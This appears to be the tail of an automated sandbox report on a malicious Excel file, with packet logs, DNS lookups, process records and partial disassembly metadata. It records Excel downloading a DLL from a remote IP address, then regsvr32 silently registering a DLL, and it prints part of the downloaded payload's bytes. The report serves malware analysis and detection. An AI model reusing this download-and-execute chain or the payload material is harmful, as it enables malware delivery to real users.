                                                                                                                                                Jun 9, 2021 19:46:20.570897102 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.570944071 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.570971966 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.571031094 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:25.569664955 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:25.569823980 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:48:05.539921999 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:48:05.851519108 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:48:06.460911036 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:48:07.664242983 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:48:10.070571899 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:48:14.883675098 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:48:24.493678093 CEST4974780192.168.2.4185.180.199.121

                                                                                                                                                UDP Packets

                                                                                                                                                TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                Jun 9, 2021 19:46:04.008311033 CEST6238953192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:04.058962107 CEST53623898.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:05.236232042 CEST4991053192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:05.289639950 CEST53499108.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:06.610637903 CEST5585453192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:06.664755106 CEST53558548.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:07.830795050 CEST6454953192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:07.881437063 CEST53645498.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:09.010255098 CEST6315353192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:09.060589075 CEST53631538.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:13.674066067 CEST5299153192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:13.732949972 CEST53529918.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:15.014648914 CEST5370053192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:15.064850092 CEST53537008.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:15.566684961 CEST5172653192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:15.665777922 CEST53517268.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:16.201134920 CEST5679453192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:16.434832096 CEST53567948.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:17.268666029 CEST5679453192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:17.347178936 CEST53567948.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:18.280111074 CEST5679453192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:18.342879057 CEST53567948.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.153444052 CEST5653453192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:20.204710007 CEST53565348.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.343034983 CEST5679453192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:20.406261921 CEST53567948.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:21.334521055 CEST5662753192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:21.384769917 CEST53566278.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:22.804392099 CEST5662153192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:22.856525898 CEST53566218.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:24.255038023 CEST6311653192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:24.305335045 CEST53631168.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:24.390181065 CEST5679453192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:24.451997042 CEST53567948.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:29.165426016 CEST6407853192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:29.215749025 CEST53640788.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:30.241353035 CEST6480153192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:30.300095081 CEST53648018.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:31.149168015 CEST6172153192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:31.204233885 CEST53617218.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:32.622464895 CEST5125553192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:32.674022913 CEST53512558.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:33.720263958 CEST6152253192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:33.773360014 CEST53615228.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:33.782007933 CEST5233753192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:33.843769073 CEST53523378.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:34.832662106 CEST5504653192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:34.886220932 CEST53550468.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:35.948724031 CEST4961253192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:36.001722097 CEST53496128.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:36.875845909 CEST4928553192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:36.929347992 CEST53492858.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:52.592863083 CEST5060153192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:52.746988058 CEST53506018.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:53.345741987 CEST6087553192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:53.482363939 CEST53608758.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:53.546621084 CEST5644853192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:53.616451025 CEST53564488.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:54.103132010 CEST5917253192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:54.164905071 CEST53591728.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:54.607189894 CEST6242053192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:54.668955088 CEST53624208.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:55.505698919 CEST6057953192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:55.565407991 CEST53605798.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:56.184371948 CEST5018353192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:56.242599964 CEST53501838.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:57.305476904 CEST6153153192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:57.364672899 CEST53615318.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:58.215929031 CEST4922853192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:58.275962114 CEST53492288.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:59.173626900 CEST5979453192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:59.233313084 CEST53597948.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:59.907387972 CEST5591653192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:46:59.969717979 CEST53559168.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:47:00.177516937 CEST5275253192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:47:00.236747980 CEST53527528.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:47:08.342232943 CEST6054253192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:47:08.411185026 CEST53605428.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:47:08.672301054 CEST6068953192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:47:08.738894939 CEST53606898.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:47:11.812860012 CEST6420653192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:47:11.874515057 CEST53642068.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:47:44.326680899 CEST5090453192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:47:44.385520935 CEST53509048.8.8.8192.168.2.4
                                                                                                                                                Jun 9, 2021 19:47:45.667900085 CEST5752553192.168.2.48.8.8.8
                                                                                                                                                Jun 9, 2021 19:47:45.729986906 CEST53575258.8.8.8192.168.2.4

                                                                                                                                                HTTP Request Dependency Graph

                                                                                                                                                • 185.180.199.121

                                                                                                                                                HTTP Packets

                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                0192.168.2.449747185.180.199.12180C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                TimestampkBytes transferredDirectionData
                                                                                                                                                Jun 9, 2021 19:46:20.160325050 CEST1190OUTGET /sat1_0609_2.dll HTTP/1.1
                                                                                                                                                Accept: */*
                                                                                                                                                Accept-Encoding: gzip, deflate
                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                Host: 185.180.199.121
                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                Jun 9, 2021 19:46:20.240262032 CEST1191INHTTP/1.1 200 OK
                                                                                                                                                Date: Wed, 09 Jun 2021 17:46:14 GMT
                                                                                                                                                Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.3.28
                                                                                                                                                Last-Modified: Wed, 09 Jun 2021 13:51:29 GMT
                                                                                                                                                ETag: "62de0-5c4559247da40"
                                                                                                                                                Accept-Ranges: bytes
                                                                                                                                                Content-Length: 404960
                                                                                                                                                Keep-Alive: timeout=5, max=100
                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                Content-Type: application/octet-stream
                                                                                                                                                Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 61 b6 fb 1c 25 d7 95 4f 25 d7 95 4f 25 d7 95 4f 4a a1 0b 4f 3f d7 95 4f 4a a1 3f 4f a7 d7 95 4f 2c af 06 4f 22 d7 95 4f 25 d7 94 4f 7f d7 95 4f 4a a1 3e 4f 0a d7 95 4f 4a a1 0e 4f 24 d7 95 4f 4a a1 0f 4f 24 d7 95 4f 4a a1 08 4f 24 d7 95 4f 52 69 63 68 25 d7 95 4f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ed c3 c0 60 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0a 00 00 7a 01 00 00 8c 04 00 00 00 00 00 c1 73 00 00 00 10 00 00 00 90 01 00 00 00 00 10 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 06 00 00 04 00 00 c7 7b 06 00 02 00 40 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 f0 e9 01 00 51 00 00 00 34 e2 01 00 50 00 00 00 00 30 02 00 00 f6 03 00 00 00 00 00 00 00 00 00 00 0a 06 00 e0 23 00 00 00 30 06 00 e4 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 cd 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 90 01 00 60 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 7d 79 01 00 00 10 00 00 00 7a 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 41 5a 00 00 00 90 01 00 00 5c 00 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 c8 39 00 00 00 f0 01 00 00 1a 00 00 00 da 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 f6 03 00 00 30 02 00 00 f6 03 00 00 f4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 9a 1f 00 00 00 30 06 00 00 20 00 00 00 ea 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                Data Ascii: MZ@!L!This program cannot be run in DOS mode.$a%O%O%OJO?OJ?OO,O"O%OOJ>OOJO$OJO$OJO$ORich%OPEL`!zsP{@Q4P0#0@`.text}yz `.rdataAZ\~@@.data9@.rsrc0@@.reloc0 @B
                                                                                                                                                Jun 9, 2021 19:46:20.240288973 CEST1193INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b ec 51 56 8b f1 83 3e 00 75 24 6a 00 8d 4d fc e8 b5 32 00 00 83 3e 00 75 0d a1 28 09 02 10 40 a3 28 09 02 10 89 06 8d 4d fc e8 c3 32 00 00 8b 06 5e 8b e5 5d c3 cc cc cc cc cc cc
                                                                                                                                                Data Ascii: UQV>u$jM2>u(@(M2^]UQVjMz2Fs@FM2^]UQVWjMI2GtsHGwM#N2_^]UQW9t;jM1Gt
                                                                                                                                                Jun 9, 2021 19:46:20.240304947 CEST1194INData Raw: cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 0c 83 f8 01 75 15 83 79 14 10 72 02 8b 09 8a 45 10 8b 55 08 88 04 11 5d c2 0c 00 83 79 14 10 72 02 8b 09 03 4d 08 50 0f be 45 10 50 51 e8 59 54 00 00 83 c4 0c 5d c2 0c 00 cc cc 55 8b ec 8b 45 08 56
                                                                                                                                                Data Ascii: UEuyrEU]yrMPEPQYT]UEVPJD^]UVW}PI@u+pV2t+I9GNu_^]UVFMW;sh\1}+;stPVSrr+
                                                                                                                                                Jun 9, 2021 19:46:20.240323067 CEST1196INData Raw: cc 55 8b ec 6a ff 68 10 86 01 10 64 a1 00 00 00 00 50 64 89 25 00 00 00 00 83 ec 0c 53 56 57 89 65 f0 8b f1 89 75 ec 8b 45 08 8b f8 83 cf 0f 83 ff fe 76 04 8b f8 eb 27 8b 5e 14 8b cb d1 e9 b8 ab aa aa aa f7 e7 d1 ea 3b ca 76 13 b8 fe ff ff ff 2b
                                                                                                                                                Data Ascii: UjhdPd%SVWeuEv'^;v+;<vEOQN]E3eEEE@PMgEEu}]Mt~rQPSGM~rREM~N
                                                                                                                                                Jun 9, 2021 19:46:20.240446091 CEST1197INData Raw: fc 85 f6 75 61 8d 45 fc 53 50 e8 f8 fb ff ff 83 c4 08 83 f8 ff 75 1f 68 b4 94 01 10 8d 4d e8 e8 35 40 00 00 68 cc d8 01 10 8d 4d e8 51 e8 c4 42 00 00 33 f6 eb ae 8b 75 fc 6a 00 8d 4d 08 89 35 a4 08 02 10 e8 e9 22 00 00 8b 46 04 83 f8 ff 73 04 40
                                                                                                                                                Data Ascii: uaESPuhM5@hMQB3ujM5"Fs@FM"V##M"_^[]U(SW}3]t]9uYVj;Jt6EHuHQMZjPFC37^tM_[]
                                                                                                                                                Jun 9, 2021 19:46:20.240466118 CEST1198INData Raw: 8b 02 8b ca 8b 50 04 ff d2 8b 06 8b 40 04 83 7c 30 0c 00 75 0f 8b 44 30 3c 85 c0 74 07 8b c8 e8 c9 f7 ff ff 8b 16 8b 42 04 83 7c 30 0c 00 0f 94 c0 84 c0 75 0a ba 04 00 00 00 e9 20 01 00 00 c7 45 fc 00 00 00 00 8b 0e 8b 51 04 8b 44 32 14 25 c0 01
                                                                                                                                                Data Ascii: P@|0uD0<tB|0u EQD2%@t8d$|*t$@T0@UD08MQuNM}u)BL083WUREP;Eu;t:E@3L0 L0$E]}w$9}|
                                                                                                                                                Jun 9, 2021 19:46:20.240530014 CEST1200INData Raw: 08 bf 04 00 00 00 89 7d e8 c7 45 fc ff ff ff ff eb 37 8b 4d ec 8b 01 8b 40 04 03 c1 8b 48 0c 83 c9 04 83 78 38 00 75 03 83 c9 04 83 e1 17 89 48 0c 85 48 10 75 6d c7 45 fc ff ff ff ff b8 50 2a 00 10 c3 8b 75 ec 8b 7d e8 8b 0e 8b 49 04 03 ce 85 ff
                                                                                                                                                Data Ascii: }E7M@Hx8uHHumEP*u}ItAy8ujPuBL08tBMd_^[]jj7US]VtYNr;rGrV;v3rMQ+
                                                                                                                                                Jun 9, 2021 19:46:20.240547895 CEST1201INData Raw: 30 89 4d 10 8b 50 04 89 55 14 53 6a 65 57 e8 76 3f 00 00 83 c4 0c 85 c0 0f 84 94 00 00 00 8b 55 14 2b c7 8d 58 01 8b 45 f0 50 8b 45 10 8d 4b ff 51 57 52 50 8d 4d e4 51 56 e8 3b ea ff ff 8b 10 89 55 10 8b 48 04 8b 55 2c 52 89 4d 14 8b 48 04 8b 10
                                                                                                                                                Data Ascii: 0MPUSjeWv?U+XEPEKQWRPMQV;UHU,RMHj0QREPVMMP4AUE,uPjQRPMQV)]0]0U@EMUEQSWRPMQVUHU,RMHj0QREPVU}
                                                                                                                                                Jun 9, 2021 19:46:20.240614891 CEST1203INData Raw: dd 1c 24 68 e8 92 01 10 68 b8 09 02 10 e8 bd ef ff ff 83 c4 08 8b c8 e8 03 f3 ff ff 50 e8 6d fe ff ff dd 45 f0 51 dd 1c 24 68 08 93 01 10 68 b8 09 02 10 e8 97 ef ff ff 83 c4 08 8b c8 e8 dd f2 ff ff 50 e8 47 fe ff ff 8b 55 10 8b 45 0c 8b 4d 08 83
                                                                                                                                                Data Ascii: $hhPmEQ$hhPGUEMRPQEEE$h4hFjaB3\0uD08B4uItAy8ujPE$hLh
                                                                                                                                                Jun 9, 2021 19:46:20.240636110 CEST1204INData Raw: 01 f2 ff ff 83 c4 44 5f 8b c6 5e 5b 8b e5 5d c2 1c 00 cc cc cc 55 8b ec 83 ec 74 89 4d f8 8b 4d 14 8b 41 1c 53 56 8b 71 18 57 85 c0 7f 16 7c 04 85 f6 75 10 f7 41 14 00 20 00 00 75 07 be 06 00 00 00 33 c0 8b c8 85 c9 7c 10 7f 05 83 fe 24 76 09 c7
                                                                                                                                                Data Ascii: D_^[]UtMMASVqW|uA u3|$vE$uE+EP%033= EzE#A{!]#sA{z@|<r5
                                                                                                                                                Jun 9, 2021 19:46:20.320494890 CEST1205INData Raw: 40 04 33 ff 84 5c 30 0c 75 17 8b 44 30 38 8b 10 8b c8 8b 42 34 ff d0 83 f8 ff 75 05 bf 04 00 00 00 8b 0e 8b 49 04 03 ce 85 ff 74 16 8b 41 0c 0b c7 83 79 38 00 75 03 83 c8 04 6a 00 50 e8 39 d3 ff ff dd 45 ec 83 ec 08 dd 1c 24 68 c4 92 01 10 68 b8
                                                                                                                                                Data Ascii: @3\0uD08B4uItAy8ujP9E$hhGjB3\0uD08B4uItAy8ujP_^[]UUVWFFx@u+PR_^]


                                                                                                                                                Code Manipulations

                                                                                                                                                Statistics

                                                                                                                                                CPU Usage

                                                                                                                                                Click to jump to process

                                                                                                                                                Memory Usage

                                                                                                                                                Click to jump to process

                                                                                                                                                High Level Behavior Distribution

                                                                                                                                                Click to dive into process behavior distribution

                                                                                                                                                Behavior

                                                                                                                                                Click to jump to process

                                                                                                                                                System Behavior

                                                                                                                                                General

                                                                                                                                                Start time:19:46:13
                                                                                                                                                Start date:09/06/2021
                                                                                                                                                Path:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                Commandline:'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
                                                                                                                                                Imagebase:0xba0000
                                                                                                                                                File size:27110184 bytes
                                                                                                                                                MD5 hash:5D6638F2C8F8571C593999C58866007E
                                                                                                                                                Has elevated privileges:true
                                                                                                                                                Has administrator privileges:true
                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                Reputation:high

                                                                                                                                                General

                                                                                                                                                Start time:19:46:19
                                                                                                                                                Start date:09/06/2021
                                                                                                                                                Path:C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                Commandline:regsvr32 -s ..\kdldyeff.dll
                                                                                                                                                Imagebase:0x280000
                                                                                                                                                File size:20992 bytes
                                                                                                                                                MD5 hash:426E7499F6A7346F0410DEAD0805586B
                                                                                                                                                Has elevated privileges:true
                                                                                                                                                Has administrator privileges:true
                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                Reputation:high

                                                                                                                                                Disassembly

                                                                                                                                                Code Analysis

                                                                                                                                                Reset < >

                                                                                                                                                  Executed Functions

                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000002.00000002.684825325.0000000003010000.00000040.00000001.sdmp, Offset: 03010000, based on PE: false
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_2_2_3010000_regsvr32.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID:
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID:
                                                                                                                                                  • Opcode ID: f9a903b52bc5b6a985af8f3dbf8a5ee23e85a2eefd59a7202de9ee7eaca7fca5
                                                                                                                                                  • Instruction ID: 0544095ab1706c0e4eb06c48c22a876bd95d46fc727b13df88fb90e3a62b199a
                                                                                                                                                  • Opcode Fuzzy Hash: f9a903b52bc5b6a985af8f3dbf8a5ee23e85a2eefd59a7202de9ee7eaca7fca5
                                                                                                                                                  • Instruction Fuzzy Hash: 13F0307631D3405FD305DB24DC52A66BBF49F55600F05886EF58AC72A2E634EA08C757
                                                                                                                                                  Uniqueness

                                                                                                                                                  Uniqueness Score: -1.00%

                                                                                                                                                  Non-executed Functions